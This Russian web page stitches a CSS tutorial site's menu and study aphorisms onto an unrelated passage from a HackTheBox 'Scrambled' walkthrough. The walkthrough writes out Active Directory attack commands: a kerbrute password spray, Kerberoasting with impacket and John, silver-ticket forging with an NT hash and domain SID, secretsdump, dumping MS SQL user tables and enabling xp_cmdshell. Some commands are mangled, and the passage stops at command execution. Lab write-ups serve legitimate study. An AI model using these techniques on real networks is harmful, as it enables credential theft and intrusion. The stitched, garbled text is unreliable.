Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /
, чтобы к ней было удобнее обращаться:
10.10.11.168 scrambled.htb
И запускаем сканирование портов.
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Нашлось много открытых портов, что типично для Windows:
Все перечисленные службы Microsoft пока что ничего нам дать не могут, поэтому первым делом смотрим сайт.
Сразу отмечаем полезную информацию: аутентификация NTLM отключена.
На одной из страниц находим скриншот консоли, а в нем видно пользователя ksimpson. Это очень важная информация!
На другой странице отмечаем инструкцию к ПО, работающему на порте 4411. Здесь обратим внимание на имя сервера и домен — dc1.
. Соответствующие записи добавляем в файл /
.
10.10.11.168 scrambled.htb dc1.scrm.local scrm.local
А также находим информацию о том, что имя пользователя может выступить в качестве пароля.
Мы можем отправить запрос ASREP, существует ли тот или иной аккаунт. Есть возможность запросить ключ (AS key) Kerberos этого пользователя, ключ будет зашифрован с помощью его пароля. Но дело в том, что сервер различает ответы «данный флаг не установлен» и «учетная запись не существует». А значит, если пройдемся по именам пользователей и для какого‑то нам ответят, что флаг не установлен, мы узнаем, что эта учетка существует. Сделать такой перебор можно с помощью инструмента GetNPUsers из пакета impacket. Имя пользователя у нас уже есть.
GetNPUsers.py scrm.local/ksimpson -no-pass
Нам ответили, что флаг не установлен, а значит, учетная запись существует. Теперь с помощью kerbrute проверим пароль пользователя.
kerbrute_linux_amd64 passwordspray -dscrm.local --dcdc1.scrm.local users.txt ksimpson
Учетные данные оказались верны, поэтому мы можем запросить тикет пользователя и применить его как аутентификатор, вместо пароля. В этом нам поможет скрипт getTGT из того же impacket.
impacket-getTGT scrm.local/ksimpson:ksimpson
Экспортируем полученный тикет и подключаемся к службе SMB. Чтобы удалось аутентифицироваться, время на твоем хосте и на сервере должно отличаться не больше чем на пять минут. Поэтому стоит обновить локальное время по протоколу NTP.
sudo ntpdate scrm.local
export KRB5CCNAME=ksimpson.ccache
impacket-smbclient -kscrm.local/ksimpson@dc1.scrm.local -no-pass
Командой shares
получаем список ресурсов.
Пройдясь по каталогам, успешно заходим в Public
.
use Pablic
Там находим всего один документ. Скачиваем его командой get <
. В самом документе рассказано о недавнем взломе службы MS SQL.
Раз мы имеем дело с MS SQL, значит, можем выполнить атаку Kerberoasting. Ее цель — собрать билеты TGS для служб, которые запускаются от имени пользователей, а не от системных учеток. Тикеты TGS зашифрованы ключами, полученными из паролей пользователей, а значит, их данные можно взломать простым перебором. Уязвимые учетные записи определим по полю SPN, которое не будет пустым. Выполним запрос TGS с помощью скрипта GetUserSPNs из все того же impacket.
GetUserSPNs.py scrm.local/ksimpson -dc-ipdc1.scrm.local -dc-hostdc1.scrm.local -request -k -no-pass
Теперь сохраним тикет в файл и отдадим JTR для перебора. Пароль учетной записи получим очень быстро.
john sqlsvc.hash --wordlist=rockyou.txt
Мы получили пароль службы, и, чтобы с ней работать, следующим шагом должно быть получение «серебряного билета». Silver ticket — это реальный билет TGS для определенной службы, в котором используется NTLM пользователя. Он даст нам доступ к этой службе. Чтобы сгенерировать такой билет, нам нужно знать NTLM-хеш пароля и SID домена. SID домена получим из отладочной информации при выполнении impacket-secretsdump
.
impacket-secretsdump -kscrm.local/ksimpson@dc1.scrm.local -no-pass -debug
А хеш генерируем на сайте md5decrypt.net из полученного пароля.
А теперь генерируем билет.
ticketer.py -domainscrm.local -spnMSSQLSVC/dc1.scrm.local -user-id500 Administrator -nthashb999a16500b87d17ec7f2e2a68778f05 -domain-sidS-1-5-21-2743207045-1827831105-2542523200
Экспортируем созданный билет в рабочее окружение и подключаемся к службе MS SQL, используя аутентификацию Kerberos.
export KRB5CCNAME=Administrator.ccache
mssqlclient.py dc1.scrm.local -k -no-pass
SELECT name FROM master.dbo.sysdatabases
Перейдем к базе данных ScrambleHR
и получим из нее таблицы.
use ScrambleHR
SELECT name FROM SYSOBJECTS WHERE xtype = 'U'
Нас интересует таблица пользователей UserImport
. Получаем все ее записи.
select * from UserImport
С найденными учетными данными подключиться никуда не удастся, поэтому попробуем получить управление через MS SQL. Первым делом нужно активировать xp_cmdshell
. Из нашего интерпретатора это можно сделать встроенной командой enable_xp_cmdshell
, после чего выполняем реконфигурацию.
enable_xp_cmdshell
reconfigure
Теперь мы можем выполнять команды через xp_cmdshell
.
|
|